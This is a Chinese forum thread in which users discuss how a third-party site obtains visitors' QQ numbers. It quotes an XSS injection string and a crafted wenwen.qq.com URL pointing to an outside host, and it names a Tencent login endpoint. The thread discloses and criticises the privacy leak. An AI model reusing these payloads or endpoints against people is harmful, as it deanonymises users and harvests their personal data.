非腾讯的网站，访问页面就可以拿到我的 QQ 号码，这个是怎么做到的

[fkccp]

这个链接先不要点。
http://www.51tongji.net/
这个我一进首页，我的QQ邮箱就立马收到了他们的推广邮件，这个是基于什么技术实现的，他们是怎么拿到我的QQ号码的？
我chrome的确装有腾讯sso的插件，但是能被第三方网站拿到这个也太那个啥了吧。

[pandocheng]

试了一下 有点酷

[icyflash]

QQ空间 黄钻

[vaneoooo]

1 没点。
2 适用哪些浏览器及版本？

[pagecho]

我一点开，QQ这个软件就自动弹出来了（本来是没有启动QQ，也没有在后台运行QQ）。所以我估计是进入的自动开启一个QQ在线对话，然后获取我的QQ号码？

[BlueFly]

就2楼说的，QQ空间访客，网上搜索就有详细介绍

[pagecho]

我一点开，QQ这个软件就自动弹出来了（本来是没有启动QQ，也没有在后台运行QQ）。所以我估计是进入的自动开启一个QQ在线对话，然后获取我的QQ号码？
---
Safari，mac

[ucaime]

页面自动触发临时聊天那个js事件，对方可能是企业qq，当让普通qq估计也可以，然后qq机器人监控到对方发起qq请求，ok得到了你的qq号。

呃，猜的，代码没来得及看，估计就是这样。。。

[vex911]

sso插件是啥？

[acwind]

企业QQ营销的一个功能，他们来我们公司推广的时候说了，只要页面挂一段代码，就可以知道访问者的QQ号……

[ucaime]

呃 貌似找到问题了 借助了 wenwen.qq.com
机智啊

[TimeLe]

之前好像看到类似的 大概是在页面中嵌套一个 iframe 加载一个 黄钻的QQ空间

[fengchang]

@vex911 单点登录

[millken]

我是linux系统，访问会自动跳转到tencent://message/?Menu=yes&uin=800092601&Service=58&SigT=A7F6FEA02730C988F02A4EFD079418FF4AEB2A3B76044ED776F3101E1D1A4744B0F0186A88E03EC631ED6AFA909640EB58785D41A7CE5DF9E8AB2CCA8C48158AEDBAF200EA654E57DF41767D05FEAC24D741B13977B8A9BD99BEF0EEF40CE727F70EE28A225C3C5EB3BC9BC20A45177324AEB09791600E3A&SigU=30E5D5233A443AB2F1BB07683A8E5FCBE3B8BF3B0556F743A390151594056367AF2CE1F3D6AEF377F4B131EE1994AD1D6290A9613CE8F972C66DA9094F2D833DB910F3CDF27C7ACA

[gateswong]

是一个 tencent:// 的协议

https://bbuseruploads.s3.amazonaws.com/gatessave/bed/downloads/Screen%20Shot%202014-11-24%20at%2002.32.59.png?Signature=CRHP%2BDGcZq%2FYBycVYyqgcfjrGUU%3D&Expires=1416819833&AWSAccessKeyId=0EMWEFSGA12Z1HF1TZ82

[gateswong]

https://bitbucket.org/gatessave/bed/downloads/Screen%20Shot%202014-11-24%20at%2002.32.59.png

[abelyao]

@ucaime 详细说说嘛

[invite]

@acwind 哇靠，不是吧，腾讯明显的出售我们的QQ号码信息么。

[jimmy2010]

@pagecho
@ucaime
@gateswong

应该不是你们说的这样。
我的环境是这样的，chrome打开的，没有装qq软件，也没有装任何qq相关插件，只是在这个chrome上登录过（没记住密码，并且目前也不处于登录状态），一打开，虚拟机中的qq就弹窗收到邮件了。
所以应该是借助了qq自身的网站，因为只有qq自身网站才能获取到我的qq号（保存在cookie中的）

[cougar]

上次有人问过了，qq开通黄钻，然后在页面里嵌入一个iframe，利用访客记录得到qq号码

[lliioogg]

今天360还在推销这个功能
呵呵

[learnshare]

tencent:// 协议会打开 QQ 客户端来解析。

QQ 网页版登录过，或者浏览器中装了 QQ 的插件，腾讯都有办法来获取你的 QQ 号码

[rainy3636]

[can]

http://www.qqfangke.cn
/t/144356

[Luzifer]

逼咱用 Tor Browser 呢!

@rainy3636 这个好. 有没有人维护一份网址列表?

另外 EFF 有没有一个插件列表啊.
就晓得个 HTTPS Everywhere 搜 "eff extensions" 也就看到两个.

[Slienc7]

空间黄钻，别扯好么

[Luzifer]

@rainy3636 无视.打扰了. 尽在github/EFForg

[hellov22ex]

@typcn
一个BUG

[typcn]

@hellov22ex 这东西不是什么新鲜事，我也早就知道了，难的是js引用过去之后的判断，如果有100个访客并发访问，可能就没法对应IP啥的了

[lingaoyi]

很赞，这是怎么做到的？

[scg16]

[Jarett]

貌似楼上的都没说到点子上，很简单，腾讯的某些网站接口存在漏洞，会返回qq域下登录用户的qq号码，你打开这些访问了之后会给你发邮件或者加你qq号码的网站，然后打开浏览器的开发工具看看网络请求就知道了，你可以找到那段js，当然，利用的qq的接口也是一直在变化更新的。

[crab]

http://xui.ptlogin2.qq.com/cgi-bin/qlogin

[gateswong]

@jimmy2010 我也是虚拟机的QQ，MAC里的QQ是装在另一个非管理员账户的 ~/Applications 目录下，是完全隔离环境的

我打开网页后没有出现任何跟我QQ有关的信息

[defia]

是搜狗问问被人跨站啦..

[millken]

<script/src=//gh0.cn/s>
堂而皇之的XSS，牛逼！
可以去乌云举报，直接抓人。

妈的，最反感收集隐私行为。

[xoxo]

@millken 牛人

[mrlawrence]

@vaneoooo 你的头像，我的壁纸。缘分啊

[fising]

jsonp接口不解释

[vex911]

@fengchang 感谢扫盲

[coosir]

去买腾讯的营销QQ就能实现吧

[woyao]

@millken http://wenwen.qq.com/z/q615785185.htm?uin=109854&url=http%3A%2F%2F218.244.129.62%3A8888%2F&llurl=&thepage=http%253A%252F%252Fwww.51tongji.net%252F

[owlsec]

xss？谁去爆乌云吧